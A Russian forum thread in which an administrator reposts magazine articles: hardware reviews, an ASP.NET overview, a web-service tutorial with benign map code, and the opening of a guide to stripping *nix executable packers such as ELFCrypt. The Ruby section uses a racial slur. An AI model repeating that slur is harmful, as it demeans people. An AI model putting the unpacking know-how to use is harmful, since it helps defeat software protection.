Максимальная скорость цветной печати, стр\мин: 17

Максимальная скорость монохромной печати, стр\мин: 22

Емкость лотка для бумаги, шт: 100

Дополнительно: ПО для работы с изображениями в комплекте поставки

Интерфейс: USB

Габариты, мм: 435x263x165

Вес, кг: 2,9

Более производительная модификация предыдущей модели, обладающая к тому же более высоким качеством печати. Дизайн этих принтеров абсолютно идентичен, разве что Canon PIXMA iP2200 чуть больше, хотя это и незаметно. Набор прилагаемого программного обеспечения также одинаков, так как драйвера унифицированы вместе с утилитами. Зато основной козырь iP1600 тут сохранился и даже улучшился – скорость печати очень высока. Тестовая страница была выдана за 23 секунды, причем качество текста осталось столь же высоким, а качество картинки несколько выросло: она стала более четкой, насыщенной и естественной. Кардинально улучшился отпечаток на фотобумаге – теперь никаких полос нет и в помине. В общем, очень грамотно усовершенствованная базовая модель.

К сожалению, все проблемы не решены. И дело тут опять в картинках: по сравнению с отпечатками, сделанными другими моделями, качество цветопередачи явно ниже. Поэтому мы рекомендуем обе эти модели тем, кто печатает фотки редко.

Canon Pixma IP4200 (Выбор редакции)

9 баллов

Цена, $: 130

Максимальное разрешение, dpi: 9600 х 2400

Максимальная скорость цветной печати, стр\мин: 10

Максимальная скорость монохромной печати, стр\мин: 15

Емкость лотка для бумаги, шт: 100

Дополнительно: DirectPrint, PictBridge, печать на CD и DVD

Интерфейс: USB

Габариты, мм: 419x299x160

Вес, кг: 6,5

Довольно большое по размерам, но в то же время очень функциональное устройство. Помимо того, что оно быстро и очень качественно распечатало нашу тестовую страницу (23 с.) и фотографию (25 с.), в его активе есть возможность печати на оптических носителях, а также прямая печать с камер и фотоаппаратов (интерфейс PictBridge). Не стоит также забывать и про два лотка подачи бумаги и встроенное устройство для автоматической двусторонней печати – теперь тебе не придется вручную переворачивать и перекладывать странички. Компания Canon призывает использовать для печати только свои картриджи и бумагу – в этом случае, благодаря специальным технологиям, нас поразит качество отпечатков и долговечность их хранения. Как уже было сказано выше, качество отпечатков отличное, никаких нареканий оно не вызывает. В общем, это хорошее и универсальное устройство.

Цена немного выше, чем у остальных устройств из обзора. Так же, как и габариты изделия.




--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 2 2006, 17:58
Сообщение #52


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



- Из-за своей скромной цены у устройства начисто отсутствуют разные интересные и полезные дополнительные функции. В принципе, если тебе нужна простая и удобная мышка без особых наворотов – то это твой вариант.

Oklick 853S

7 звезд, $30

Интерфейс: беспроводный

Тип сенсора: оптический

Максимальное разрешение сенсора, dpi: 800

Дополнительные возможности: зарядная база, подзарядка во время работы

+ Небольшой грызун, предназначенный для использования обеими руками – разумеется не сразу, просто левшей произвдители не забыли. Она оптическая (800 dpi) и беспроводная, то есть джентльменский набор выполнен. Имеет две основных клавиши, колесико прокрутки и два индикатора – передачи данных и зарядки батарей. Колесико, кстати, может быть настроено на выполнение не только скроллинговых функций. В комплект поставки входит док-станция, являющаяся по совместительству зарядным устройством и два аккумулятора. Кстати, мышь с помощью специального провода можно заряжать и во время работы. Радиус работы передатчика составляет 1,5 м. В принципе, благодаря дополнительному шнурку и небольшим размерам, мышь можно использовать с ноутбуком.

- Кроме настраиваемого колесика нет никаких дополнительных клавиш. Да и вообще другие функции отсутствуют. Малые размеры не очень удобны для крупной ладони и игры.

Выводы

Протестирован полный набор разноплановых мышек: обычные, игровые, мобильные. Заядлым геймерам советуем обратить внимания на изделия Razer – для игры это самое то. Титул “Выбор редакции” получает Logitech MX610 Laser Cordless Mouse – за функциональность и качество работы. А “Лучшая покупка” это Genius Ergo 525 – недорогая, удобная, в меру игровая.



--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 5 2006, 17:06
Сообщение #53


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



ПЕРСПЕКТИВЫ ASP.NET

МЫ ПОГОВОРИМ О КОРПОРАЦИИ MICROSOFT И ЕЕ ОЧЕРЕДНОМ ШАГЕ В БОРЬБЕ ЗА ОБЛАСТЬ РЫНКА, СВЯЗАННУЮ С РАЗРАБОТКОЙ WEB-ОРИЕНТИРОВАННЫХ ПРИЛОЖЕНИЙ. ЭТОТ ШАГ — ТЕХНОЛОГИЯ ASP.NET

история болезни

Успехи ASP.NET очевидны. Рекордсменом можно считать ресурс MySpace.com, созданный на основе ASP.NET 2.0 и работающий под управлением IIS 6.0. Количество посещений этого ресурса в течение дня достигло полутора миллиардов страниц в день. Как блог, для Китая пока не тянет? Все-таки оцени еще пару фактов. Переход MySpace.com на технологию ASP.NET с «другой» технологии занял один год (ранее использовавшуюся технологию в источниках не называют, наверное, чтобы не портить настроение нам с тобой). В результате перехода средняя загрузка серверов упала с 85% до 27%. Впечатляет? Как web-разработчика — да!

масштаб

Тебя впечатляет вид Эйфелевой башни или Ниагарского водопада? А вид традиционных японских статуэток нэцкэ? Наверное, тоже. На этот раз мы поговорим о масштабах. Возможно, успехи не-windows-ориентированных систем разработки и развертывания web-приложений мало заметны на фоне грандиозных показателей таких гигантов, как MSN или eBay. Но это только верхушка айсберга рынка web-приложений. С одной стороны, на верхних строчках поисковых запросов находятся крупные ресурсы, созданные с помощью ASP.NET в количестве, скажем, десяти штук. С другой стороны, остаются сотни тысяч ресурсов, созданные с помощью иных технологий.

Оценивая эволюцию ASP, можно сказать, что каждый ее этап был качественным и необходимым. Функциональность каждого нового поколения расширялась за счет упрощения средств создания приложений и увеличения количества доступных инструментов.

На первом этапе была реализация, аналогичная CGI (Common Gateway Interface), — ISAPI (Internet Server Application Programming Interface). Поскольку «родиной» web-приложений является операционная система Unix, методы их реализации построены в соответствии с идеологией этой операционной системы. Не углубляясь в подробности, можно выделить основную особенность этой идеологии — вызов интерпретатора через CGI-интерфейс. С точки зрения производительности, не лучший вариант. ISAPI-приложение, в свою очередь, представлялось в виде динамически присоединяемой библиотеки (DLL), которая выполнялась в процессе web-сервера. Это позволило увеличить производительность и создавать более сложные схемы построения web-приложений. Однако приходилось останавливать сервер для обновления ISAPI-библиотек — огромный недостаток.

Следующий этап, по сути, стал ключевым в формировании современного представления о web-разработке, а именно — разделение слова «web-разработка» на «web» и «разработка». В новой идеологии часть работы, имеющая отношение к внешнему оформлению web-сайта, перекладывалась на плечи одного человека — дизайнера, а часть, которая касается функционального ядра приложения, — на плечи программиста. Благодаря использованию ASP (Active Server Pages) был ускорен и упрощен процесс разработки и отладки приложения. Однако возможны случайные нарушения его работоспособности, так как элементы оформления и функциональная начинка объединены в одном документе. Такими нарушителями друг для друга становились и дизайнеры, и разработчики проекта. Также отрицательно сказывалась необходимость вызывать интерпретатор для выполнения скриптовых языков внутри ASP-страницы. Процедура небыстрая и постоянно повторяемая, то есть неоптимальная в плане производительности.
Сегодня ASP.NET представляет собой смесь нескольких технологий:

ЯЗЫКИ СЕМЕЙСТВА .NET;

СРЕДА ИСПОЛНЕНИЯ ОБЩИХ ЯЗЫКОВ (COMMON LANGUAGE RUNTIME — CLR);

БИБЛИОТЕКА КЛАССОВ .NET;

СЛУЖБЫ ASP.NET;

СРЕДА РАЗРАБОТКИ VISUAL STUDIO .NET.

эффективность

Эффективность языков семейства .NET, в частности C#, растет с каждой новой версией. Вспоминая разработку на C, можно сказать, что 25% времени работы над проектом уходило на разработку, а 75% — на отладку и тестирование. В случае с C++ эти показатели сравнялись: 50% на 50%. Говоря о C#, можно смело утверждать, что соотношение достигнет уровня 75% на 25% соответственно.

Важно наличие готовых решений, которое отлично ускоряет процесс разработки. Тебе не придется разрабатывать какие-либо дополнительные библиотеки для своих нужд — они уже есть в ASP.NET.

1. Web-формы и сетевые компоненты

Позволяют переложить управление отрисовкой HTML-страницы на плечи ASP.NET и заняться разработкой функциональной части. Притом ты сможешь перегрузить любой элемент управления под свои нужды, и, соответственно, сделать шаг к созданию системы поддержки контента (CMS).

2. Компоненты отображения данных и контроля ввода

Среди готовых решений ты найдешь: проверку вводимых данных, проверку с использованием регулярных выражений, календарь, доску объявлений, генератор сложных таблиц и другие компоненты, доступные для скачивания с сайта www.asp.net.

3. Доступ к базам данных

Технология ADO.NET позволяет взаимодействовать с базами данных вне зависимости от их типа. В последней версии ADO.NET разработчики Microsoft хорошо потрудились над оптимизацией и значительно повысили производительность.

4. Доступ к файлам, потокам ввода-вывода, электронной почте

Набор простых в использовании классов значительно облегчает жизнь при работе с файловой системой, потоками и отправкой электронной почты.

5. Работа с XML

Сколько бы ни говорили об излишней структурной сложности формата XML, работа с этим форматом однозначно затронет любого разработчика. Средства, представляемые ASP.NET, объединяют в себе удобный набор классов для работы с XML-данными. XPath — язык выполнения запросов, XSL — язык преобразований. В арсенале ASP.NET припасен мощный инструмент — Visual Studio, поэтому конкуренты теряют абсолютно все шансы. В области оконных интерфейсов Microsoft вне досягаемости.

улучшения

Подтверждением роста ASP.NET можно считать выход второй версии .NET Framework и улучшения в новой версии, перечисленные ниже.

[изменение модели кодирования и связывания web-страницы и кода.]

В новой версии все операции по определению элементов страницы и событий производятся автоматически, что повышает читабельность кода и упрощает разработку.






--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 5 2006, 17:28
Сообщение #54


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



изменение модели компиляции.]

В первой версии все элементы со встроенным кодом принудительно размещались на web-сайте — и их могли украсть (заинтересованные лица aka хакеры). Во второй версии более тщательно проработаны четыре модели компиляции, каждая их которых покрывает большинство типичных задач по развертыванию web-приложения.

[расширение функциональности страницы.]

В новой версии введены новые события для более полного контроля над жизненным циклом страницы, а также возможности межстраничного обмена данными.

[усовершенствованные методы кеширования.]

В новом подходе к кешированию используются страничное, фрагментное и объектное кеширование, благодаря чему возможно более эффективно разделять динамическую и статическую части передаваемых web-страниц.

[улучшение производительности.]

Скорость работы стека событий повышена на 30%. Мощность web-сервера IIS 6.0 возросла, многие его функции работают на уровне ядра Windows.

диагноз

Технология ASP.NET может стать тем оружием, которое пригодится тебе для решения совершенно разных задач — и создания сайта-визитки, и реализации сложного интерфейса доступа к интернет-магазину. Правда, перед началом разработки очень важно изучить сильные и слабые стороны данной технологии.

[к сильным сторонам ASP.NET относятся:]

разделенная модель

Разделение разметки и функционального кода позволяет избежать нарушений в работе web-приложения. Возможность связывания событий и отображения данных на клиентской стороне и их обработка на серверной стороне позволяет реализовать сложные схемы взаимодействия.

широкий выбор .NET Framework-библиотек

Богатый набор библиотек с различной функциональностью позволяет использовать их для отправки e-mail-сообщений, работы с XML-данными, графического представления данных, доступа к базам данных и других задач.

безопасность

Не удивляйся. Новости об обнаруженных уязвимостях в продуктах Microsoft появляются часто и быстро распространяются, но эти уязвимости устраняются так же быстро. Все-таки огромные денежные средства, вложенные в поддержку этих продуктов, заставляют держать удар. Плюс, признаемся сами себе, хакеры реагируют на продукты Microsoft как быки на красную тряпку.

эффективность, функциональность и ООП

С точки зрения объектно-ориентированного подхода, любой разработчик только с большим трудом найдет что-то более эффективное и удобное, чем выбор из языков C#, VB.NET, J#.NET и др. Ты можешь использовать все сильные стороны этих языков и их отличия от интерпретируемых языков: жесткая типизация данных, структурированная обработка ошибок и чистота языка.

среда разработки

Богатые средства разработки и отладки сполна реализованы в среде Visual Studio. Это, пожалуй, главный помощник в продвижении технологии ASP.NET.

документация

MSDN огромен, как Вселенная, в чем и состоит его положительная и отрицательная сторона.

производительность ASP.NET

Доводов в пользу ASP.NET столько же, сколько против него. Нужно сказать, что производительность web-приложения целиком зависит от твоего опыта как разработчика и лишь частично — от производительности аппаратной составляющей системы.[есть и отрицательные стороны:]

стоимость платформы

Для создания платформы, на которой можно с нуля разработать и развернуть web-приложение, тебе понадобится внушительный список продуктов фирмы Microsoft. Среди них: операционная система, среда разработки, база данных и др. Общая стоимость может превысить несколько тысяч долларов.

сложность изучения

Сложная нелинейная архитектура обязательно подразумевает массу времени на ее изучение. Новизна технологии и отсутствие информативной литературы также усложняют ситуацию. Возможно, поэтому ASP.NET-разработчики сейчас востребованы и хорошо оплачиваются.

закрытый исходный код

Неизбежное зло в позиции Microsoft относительно открытости кода, из-за которого осложняется жизнь множества разработчиков.

Многие отрицательные стороны можно считать особенностями. Неподъемный бюджет и закрытый исходный код в реализации от Microsoft сейчас не представляют проблемы, так как уже существует открытый аналог ASP.NET для не-windows-платформ. Есть открытый проект, поддерживающий мультиплатформенную реализацию ASP.NET, — Mono Project (www.go-mono.com). Несмотря на неполную реализацию некоторых функциональных частей, некоторое количество ошибок и нестабильную производительность, эта альтернатива работоспособна.

[конкуренты и перспективы.]

Альтернативные разработки все-таки появляются, и это также свидетельствует об ASP.NET как об удачном решении. Но не будем забывать о конкурентах, которые давно живут на рынке web-технологий.

Эти результаты — обобщение отзывов в основном разработчиков, собранных по большей части на форумах и из разрозненных результатов исследований разных организаций. Сейчас практически невозможно найти абсолютные показатели, сравнить которые было бы реально, — нет общих критериев для сравнения web-технологий.

Как видишь, разница между интерпретируемыми языками и компилируемыми очевидна. Также не забудем, что эту проблему по-разному оценивают три стороны: заказчик, руководитель и разработчик. Точка зрения заказчика, как правило, простая и неглубокая: чтобы работало хорошо, чтобы стоило мало и чтобы делалось быстро. В реальности приходится выбирать два из трех «чтобы».

заключение

Не буду рисковать и не стану навязывать тебе ASP.NET как панацею от всех бед. Можно только утверждать, что технология достойна высокой оценки.

Когда разработчики на перекуре разговаривают об использовании J2EE или PHP вместо C# и ASP.NET, все дружно плюются и говорят, что даже думать не хотят об этом. Несмотря на то, что все знают не одну и не две технологии разработки web-приложений. Когда речь заходит о покупке лицензии на продукты Microsoft для развертывания системы на Windows Embedded, все плюются так же дружно и крутят пальцем у виска.

И что делать? Решение очень простое: разработка и тестирование ведется в Visual Studio, а развертывание системы осуществляется с помощью связки Mono и Linux Gentoo. Конечно, так поступают не из-за хорошей жизни. Это решение содержит множество минусов и неудобств. Плохо, что проект Mono поддерживается корпорацией Novell, и вместо зависимости от Microsoft разработчик попадает в другую, не меньшую зависимость. Еще один минус такого решения — нестабильная производительность на различных аппаратных конфигурациях. Решение неудобно и тем, что оно вынуждает выбирать и долго конфигурировать web-сервер, будь то Apache или XSP.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 5 2006, 18:51
Сообщение #55


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



реализация идеи в коде

ТЕХНИЧЕСКИЙ ДИРЕКТОР DEFA GRUPPE)

СОЗДАЙ СВОЙ СЕРВИС

КАЖДЫЙ ИНТЕРНЕТ-ПОЛЬЗОВАТЕЛЬ, КОТОРЫЙ УМЕЕТ ЧИТАТЬ И СЛУШАТЬ, ЗНАКОМ С WEB 2.0. КАЖДЫЙ УВАЖАЮЩИЙ СЕБЯ WEB-РАЗРАБОТЧИК НЕ ОДИН РАЗ ПОДУМЫВАЛ О WEB-СЕРВИСЕ ИЛИ ПЫТАЛСЯ СОЗДАТЬ ЕГО. ЧЕМ ВЫЗВАН ИХ БЛАГОРОДНЫЙ ПОРЫВ? ИНОГДА ЖАЖДА СЛАВЫ, ИНОГДА ЖЕЛАНИЕ ПРОВЕРИТЬ СВОИ СИЛЫ, ИНОГДА ПЕРСПЕКТИВА ЗАРАБОТКА

Антон Скоробогатов

Участвовал в нескольких проектах, использующих некоторые принципы web 2.0: «Элементы» (www.elementy.ru), «сообщество Девчат» (www.devchat.ru) и др. Личные достижения: создание и поддержка русского сообщества пользователей одного из популярных движков для блогов — Wordpress (www.mywordpress.ru)

Главное в создании web-сервиса — это идея и ее быстрое воплощение. Мы расскажем о том, как можно быстро реализовать свою идею в коде.

основные направления сервисов

С каждым днем становится все сложнее и сложнее найти хорошую идею для web-сервиса. Каждый день появляется что-то новое (чтобы быть в курсе, читай блог The Museum of Modern Betas — http://momb.socio-kybernetics.net). Например, существует огромное множество сервисов так называемых «социальных закладок», причем в самых разных вариациях. Вспомни del.icio.us, furl, spurl и т.д. и т.п. Есть и проекты с открытым исходным кодом, реализующие базовую функциональность таких сервисов, — хорошая площадка для твоего старта. Подумай, как можно улучшить сервис.

Пионеры не всегда оказываются на коне, иногда необходима небольшая доработка сервиса напильником, чтобы он начал покорять сердца пользователей. Так что, перед тем как сядешь программировать, хорошенько прошерсти интернет и найди какой-нибудь сервис. Потом подумай, кому он может быть полезен. Только тебе? Уже хорошо. Если же никакой пользы не обнаружено, браться за развитие не стоит.

[смешать, но не взбалтывать.]

Самый простой способ создать собственный сервис — позаимствовать сервис, в котором есть API, перемешать по вкусу и выдать жаждущим. Однако обо всем по порядку.

Многие сервисы предлагают API для доступа к данным, что позволяет пользователям получать информацию не в виде набора HTML-страниц, а в более формализованном виде. Простейшим примером такого API является RSS (Really Simple Syndication) и предложение сайта получить 10, 20, 30 и т.д. новостей в этом формате. При использовании RSS ты сможешь публиковать на своем сайте новости сторонних проектов не используя сложных HTML-парсеров. Этот пример самый примитивный.

Более сложные API предоставляют более широкие возможности. Например, API известной Google Maps позволяет наносить на карту мира любые метки и использовать геоинформацию в корыстных целях. Кстати, недавно в Google Maps появилась полная карта Москвы с названиями улиц — повод задуматься. Альтернативой Google Maps является Virtual Earth от Microsoft. Что выбрать — решать тебе. Добавлю только, что пока Россия представлена лучше всего в Google Maps.

[работать с API несложно,] достаточно базовых знаний XML, PHP и JavaScript.

пример

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="content-type" content="text/html; charset=utf-8"/>

<title>Google Maps JavaScript API Example</title>

<script src="http://maps.google.com/maps?file=api&v=2&key=abcdefg" type="text/javascript">

</script>

<script type="text/javascript">

//<![CDATA[

function load() {

if (GBrowserIsCompatible()) {

var map = new GMap2(document.getElementById("map"));

map.setCenter(new GLatLng(55.751729,37.6170), 13);

}

}

//]]>

</script>

</head>

<body onload="load()" onunload="GUnload()">

<div id="map" style="width: 500px; height: 300px"></div>

</body>

</html>

Эта простая HTML-страничка загрузит карту размером 500 на 300 пикселей, в центре которой расположен московский Кремль. Все общение с Google Maps, как видно по этому примеру, ведется через JavaScript-объект GMap2. Интерфейс к нему открыт и описан на странице документации (www.google.com/apis/maps/documentation). Бармены web 2.0 делают поистине впечатляющие коктейли на основе этого API — Mashup, и это только один пример из известных API. На сайте ProgrammableWeb (www.programmableweb.com) ты сможешь найти более 200 API, которые помогут в реализации твоих идей, и более 600 mashup на их основе. И не забудь: смешать, но не взбалтывать.

[пять пудов PHP.]

PHP — один из самых простых и, пожалуй, самый распространенный язык программирования для web’а. Как же можно быстро создать на PHP свой сервис? Писать с нуля — долго и неэффективно. Что же делать в такой ситуации? На помощь придут фреймворки — наборы программных компонентов, которые подогнаны друг к другу и вместе составляют базу для написания твоей программы. Использование фреймворка значительно сокращает время разработки, поскольку большинство рутинных операций уже реализовано в коде. Тебе остается лишь концептуальная часть. Не нужно думать о SQL-запросах, о валидации форм, об авторизации пользователя — обо всем этом подумали создатели фреймворков. Так что советую перестать изобретать велосипед, то есть взять готовый и ездить именно на нем.

На выбор предлагается множество моделей: CakePHP, Seagull, Symfony, Zend Framework и многие-многие другие. Каждый имеет свои плюсы и минусы, выбор за тобой. Ориентируйся на фреймворки, заточенные под PHP 5: использование особенностей новой версии дает преимущество не только в скорости разработки, но и в скорости работы самого скрипта.

[остановимся на дополнительных библиотеках,] которые наверняка понадобятся при создании собственного сервиса. Для работы с Google Maps используй GoogleMapAPI от PHPInsider (www.phpinsider.com/php/code/GoogleMapAPI) — эта библиотека упрощает работу.

пример кода, переписанного с использованием GoogleMapAPI

<?php

require('GoogleMapAPI.class.php');

// Yahoo API необходим для поиска широты и долготы по адресу

$map = new GoogleMapAPI('map', 'YourYahooAppId');

// Путь к базе данных, чтобы сохранять найденные широты и долготы

$map->setDSN('mysql://USER:PASS@localhost/GEOCODES');

// Ключ API для доступа к Google Maps

$map->setAPIKey('absdefg');

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<?php $map->printHeaderJS(); ?>

<?php $map->printMapJS(); ?>

<!-- necessary for google maps polyline drawing in IE -->

<style type="text/css">

v\:* {

behavior:url(#default#VML);

}

</style>

</head>

<body onload=”onLoad()”>

<?

$map->setCenterCoords(37.6170, 55.751729);

$map->printMap();

?>

</body>

</html>

Собственно код ненамного короче, иногда он получается даже длиннее, а сколько возможностей открывается… В базе данных ты можешь хранить точки на карте и добавлять их на страницу лишь вызовом метода: $map->addMarkerByCoords($lon,$lat,$title = '',$html = ''), где $lon — долгота точки, $lat — широта, $title — заголовок точки, а $html — кусок кода, который будет показан во всплывающей подсказке к точке. Никакого волшебства — только небольшое знание PHP и полезная библиотека. Ты сможешь создавать собственные карты, слои для карт и ставить сколько угодно меток на карте. Захотел — сделал сервис для друзей, чтобы помечать место очередной совместной попойки. Захотел — сделал что-нибудь посерьезней, например пометил точки выхода в иные измерения и места сходок.

Для работы с большинством сервисов достаточно RSS-парсера (например, MagPieRSS — http://magpierss.sourceforge.net). Именно в RSS предоставляют данные del.icio.us, last.fm, flickr и другие сервисы, ориентированные на распространение пользовательского контента. Также могут понадобиться библиотеки для работы с REST, XMLRPC, JSON –ты всегда найдешь их в Сети в изобилии.

Используя готовый framework и сторонние библиотеки для работы с сервисами, ты сможешь быстро изготовить свой коктейль и так же быстро предложить его на суд пользователей, но для разработки полноценного сервиса с нуля стоит попробовать и другие языки программирования.

[рубиновые рельсы.]

Ruby On Rails — это фреймворк для создания web-приложений на языке Ruby. Слово «Ruby» вошло в лексикон кодера и стало очень модным, хотя он скрывает в себе смертельную опасность для негров-кодеров, которые умеют быстро печатать на клавиатуре, но не умеют думать. Надеюсь, ты не такой, в тебе сидит здоровая лень, то есть, как известно, двигатель прогресса. Начни с закачки пакета InstantRails (http://instantrails.rubyforge.org/wiki/wiki.pl), он представляет собой сборку Apache, MySQL и Ruby и работает без установки. Скачал, распаковал — работает!

Разработчики некоторых PHP-фреймворков пытаются копировать принципы RoR. CakePHP, Symfony, PHP on Trax — все это попытки перенести изящность и элегантность RoR в мир PHP. Однако изящность RoR состоит не в самом наборе библиотек, а находится на уровне языка Ruby. PHP-фреймворки полезны, но не обеспечивают того уровня fun в программировании, который гарантирует Ruby.

RoR вобрал в себя практически все паттерны объектно-ориентированного подхода к программированию. Самым востребованным шаблоном является Active Record. Часто программисты пытаются облегчить процесс выборки информации из базы данных — пишут различные собственные функции, обобщают SQL-запросы. Простым и гениальным решением для них может стать паттерн Active Record, созданный Мартином Фаулером.

[сравним два листинга:]

$sql = “SELECT * FROM people WHERE person_id = ‘1’”;

$res = mysql_query($sql);

@person = Person.find(1)

Чувствуется разница. Во втором случае (после взятия из БД) person является объектом, и можно производить над ним разные действия, которые будут отражены в базе данных. Играючи выбираем данные по разным параметрам, из связанных таблиц и т.д. Не нужно подолгу размышлять о SQL-запросах: просто определи, что нужно именно тебе, и сразу же начинай воплощать это в коде. Кодерство осталось в прошлом, будущее принесет тебе Rapid Application Development (быстрая разработка приложений) и звание разработчика.

В шаблонизаторе RoR имеется множество встроенных помощников (helpers), позволяющих реализовывать AJAX-вызовы и визуальные эффекты не выходя за рамки языка Ruby. Все это чудо происходит за счет библиотеки Prototype и ее спутника Script.aculo.us.

[волшебство Script.aculo.us.]

JavaScript давно стал «нашим всем» — с тех времен, когда все таскали с одного и того же ресурса скрипт с падающими снежинками и размещали его у себя на сайте. Эх, куда ушли те времена... Слава светлым силам, что они прошли: JavaScript использовался только для бесполезного украшательства. Сейчас же в основном его применяют для повышения usability. Конечно, иногда налицо перерасход фантазии, но это лишь «перегибы на местах».

JavaScript, как и Ruby, — объектно-ориентированный язык. Видимо, поэтому PHP-программисты часто не дружат с ним и пытаются найти способ облегчить свои страдания при написании простеньких скриптов, пока не найдут священный Грааль — библиотеку Prototype. В первую очередь она привлекает внимание к себе замечательной по простоте функцией $ (доллар). Этот знак хорошо знаком всем нам не только по многочисленным обменникам валют, но и по языку PHP. В Prototype этот знак заменил сложную конструкцию document.getElementById(‘id’). Получается, что, обращаясь $(‘id’), ты работаешь с любым элементом на странице так, как будто работаешь с переменной. Очень удобно!

Начиная с версии 1.5.0 в Prototype также имеется функция «два доллара» ($$) — в два раза дороже одного доллара. Воспользовавшись этой функцией, ты обращаешься к целому семейству элементов массива, основываясь на правилах css-селекторов. $$(‘p.left’) — получаешь коллекцию абзацев, которым присвоен класс left.

Следующее бескомпромиссное удобство — расширения объектов, в том числе кроссбраузерная поддержка событий. Объект Event позволяет назначать события любому элементу на странице. В общем, твоя работа с коллекциями и элементами массивов превратится в прогулку по райским кущам.

для всех ссылок на странице, имеющих класс alert, перед загрузкой ссылки вывести окно с адресом ссылки





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
aler
сообщение Dec 6 2006, 20:27
Сообщение #56


Постоянный пользователь
Group Icon

Группа: Moderators
Сообщений: 204
Регистрация: 4-July 06
Пользователь №: 462
Имя: aler
Настроение: ^^
Заходит на форум с полного инета.



Цитата(Metallica @ Dec 5 2006, 19:51) *


dry.gif
%


--------------------
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Dec 6 2006, 20:56
Сообщение #57


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Обзор упаковщиков исполняемых файлов под *nix

Долгое время единственным упаковщиком исполняемых файлов в *nix был легендарный UPX, содержащий встроенный декомпрессор и распаковывающий файлы без особого труда. Но сейчас ситуация изменилась, и упаковщики стали появляться, как грибы после дождя. Ими охотно пользуются разработчики коммерческих программ с закрытым кодом, не задумываясь о том, какие проблемы они создают своим пользователям. Сегодня мы покажем, как, не будучи хакером и не имея навыков в дизассемблировании или отладке, победить наиболее популярные упаковщики (ELFCrypt, UPX, Burneye и Shiva).

Введение

Упаковщики исполняемых файлов часто используются для затруднения анализа программы и препятствия взлому. Упакованный файл потребляет намного больше оперативной памяти, а на некоторых *nix-клонах вообще отказывается запускаться или работает нестабильно. В первую очередь это касается *BSD (основная масса упаковщиков ориентирована на Linux) и экзотических систем с экспериментальными ядрами наподобие Hurd. В результате от упаковщиков/протекторов стремится избавиться даже тот, кто вообще не собирался ничего ломать!

ELFCrypt

Происхождение: создан индийским студентом по прозвищу JunkCode. Распространяется в исходных текстах на бесплатной основе: www.infogreg.com/source-code/public-domain/elfcrypt-v1.0.html.

Описание: простейший шифровщик (не упаковщик!) ELF-файлов, шифрующий файл по XOR случайно генерируемым ключом. Присваивает кодовой секции атрибут writable и не убирает его после завершения расшифровки (что может приводить к некорректной работе программ, проверяющих возможность модификации кодовой секции). Остальные секции (и секция данных в том числе!) остаются незашифрованными. Не содержит никаких антиотладочных приемов, но подкладывает две большие свиньи дизассемблерам: «забывает» скорректировать метку _start и размещает свой код в секции extern, истинное содержимое которой IDA Pro отображает только в режиме ручной загрузки при выбранной опции: «Force using of PHT instead of SHT».

Распаковка: загружаем файл в Hiew, двойным нажатием <ENTER>'а переходим в режим дизассемблера, давим <F8> для отображения заголовка и переходим в точку входа по <F5>. Здесь прослеживается следующий код:

КОД

Дизассемблерный листинг окрестной точки входа программы, зашифрованной ELFCrypt'ом

; переходим на расшифровщик

